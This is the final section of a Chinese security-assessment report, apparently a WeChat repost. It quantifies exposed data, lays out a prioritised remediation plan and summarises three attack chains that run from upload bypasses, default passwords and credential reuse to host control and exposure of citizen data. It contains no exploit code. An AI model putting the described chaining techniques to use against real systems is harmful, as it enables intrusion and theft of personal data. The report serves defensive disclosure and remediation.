9.2 数据暴露规模
|
数据类别
|
观测规模
|
主要风险
|
|---|---|---|
|
WordPress用户
|
77个用户;后台显示43个Administrator角色账号
|
账号接管、钓鱼、撞库
|
|
支持邮箱邮件
|
49,976封
|
内部通信、工单、员工信息、系统凭据
|
|
Roundcube会话
|
789行;12条含IMAP口令
|
12个活跃邮箱可解密
|
|
邮件存储活跃邮箱
|
约1,931个
|
管理员级读取与Sieve植入
|
|
客户登记数据
|
342+客户记录、345条敏感导出
|
身份证、家庭簿、工资与联系方式
|
9.3 不应被忽略的间接数据
管理员邮箱和人员姓名可用于钓鱼;邮件主题和工单编号可暴露业务流程、子域创建请求和内部组织结构。数据泄露处置不能只统计记录条数,还要覆盖身份、通信和系统配置。
十、修复路线
10.1 优先级路线
图7:修复优先级与治理路线。
10.2 P0:立即处置
1.隔离或下线e-admin管理面与 doveadm HTTP API。 2.删除全部Webshell、恶意插件、异常计划任务、Sieve规则和未授权SSH密钥。 3.轮换WordPress数据库、管理员、AUTH/SALT、备份密钥、邮件账号、Roundcube数据库与 des_key 、 doveadm 及客户登记数据库凭据。 4.冻结或重置全部高权限账号,吊销现有会话与令牌。 5.保留内存、磁盘、应用日志、邮件日志和数据库审计记录,避免仅重启或重装导致关键日志丢失。
10.3 P1:紧急修复
1.修复JetSearchSQL注入、LaravelFileManager上传绕过、voedsel任意文件上传与Roundcube反序列化漏洞。 2.修改voedsel默认管理员口令,删除演示账号和演示数据。 3.为 s××t.gov.xxx 注册增加邮箱验证,限制普通账号的文件管理权限。 4.限制 e-admin 与存储接口来源,启用服务间签名与审计。 5.强制清理默认口令、复用口令和可逆存储的邮箱口令。
10.4 P2:结构加固
1.上传目录使用不可执行存储,文件按真实类型重编码并按最终文件名白名单校验。 2.数据库按应用、表和操作拆分账号,禁用 FILE 、跨库与高权限DDL/DCL。 3.后台启用MFA、失败锁定、验证码、IP限制和异常会话检测。 4.邮件系统启用异常登录、地理与设备风控,禁止默认口令和跨系统复用。 5.对高价值密钥使用HSM、KMS或集中SecretStore,并建立轮换与吊销流程。
10.5 P3:长效机制
1.建立公网资产、子域、管理端口、证书与第三方组件的持续发现清单。 2.在CI/CD中加入敏感目录、密钥、危险路由、依赖版本和文件上传规则检查。 3.建立应用账号、邮箱、系统账号与SSH密钥的关联关系图谱,定期检测异常复用。 4.将安全日志统一接入SIEM,建立从规则命中到自动隔离的响应闭环。 5.对历史遗留系统和共享主机执行专项下线与隔离,避免“已不可用但未删除”的资产继续存在。
十一、结论与治理启示
本次评估确认的13项漏洞最终收敛为三条完整攻击链:门户后台到主机控制、支持门户到邮件体系、客户登记系统到公民数据。它们并非依靠罕见漏洞完成突破,而是由开放注册、上传绕过、默认口令、可逆会话密钥与跨系统凭据复用逐步拼接而成。这种攻击形态说明,真实环境下决定风险上限的往往不是单个漏洞的技术复杂度,而是身份和权限能否沿着业务边界持续传递。
图8:从单点修复转向身份、凭据与执行面的治理闭环。
第一条链揭示了内容管理系统与主机控制面的耦合。WordPress管理员账号被接管后,插件安装能力直接将内容管理权限转换为服务器命令执行,数据库凭据、认证密钥与用户数据随后同时暴露。门户后台本应是内容治理入口,却因为高权限账号、邮件恢复流程和Web目录执行权限缺少隔离,最终演变为整站与主机控制点。
第二条链体现了邮件体系的放大效应。支持门户数据库中的明文邮件凭据打开了约五万封内部邮件的访问面,Roundcube反序列化漏洞又将单一邮箱权限提升为主机权限, des_key 和会话数据库则进一步把主机配置泄露转化为批量邮箱口令泄露。邮件系统因此不再只是独立通信设施,而成为身份验证、密码恢复和跨系统权限扩散的核心枢纽。
第三条链说明文件上传与默认配置仍然是最直接的控制入口。支持门户的尾点上传绕过、客户登记系统的未认证任意文件上传以及PixelDesk默认后台,分别以普通账号、无账号和默认口令作为起点,最终抵达服务器执行、客户证件、工资信息与云存储配置。低门槛入口与高价值数据直接相连,是本次风险扩散速度较快的关键原因。
从治理角度看,修复不宜只围绕单个漏洞名称展开。更有效的顺序是先切断可复用的身份与凭据,再收回管理面和上传目录的执行能力,最后补齐认证强度、审计、轮换与最小权限。复测也应验证旧凭据、旧会话、旧Webshell和旧管理入口是否真正失效,而不能仅以某个Payload被WAF拦截作为整改完成标准。只有当账号、邮件、应用与主机之间的信任关系被重新划清,三条攻击链才会在结构上失去继续闭合的条件。
📰 相关阅读
— 阅读原文请访问微信公众号「星宇Sec」 · 原文链接 —














暂无评论内容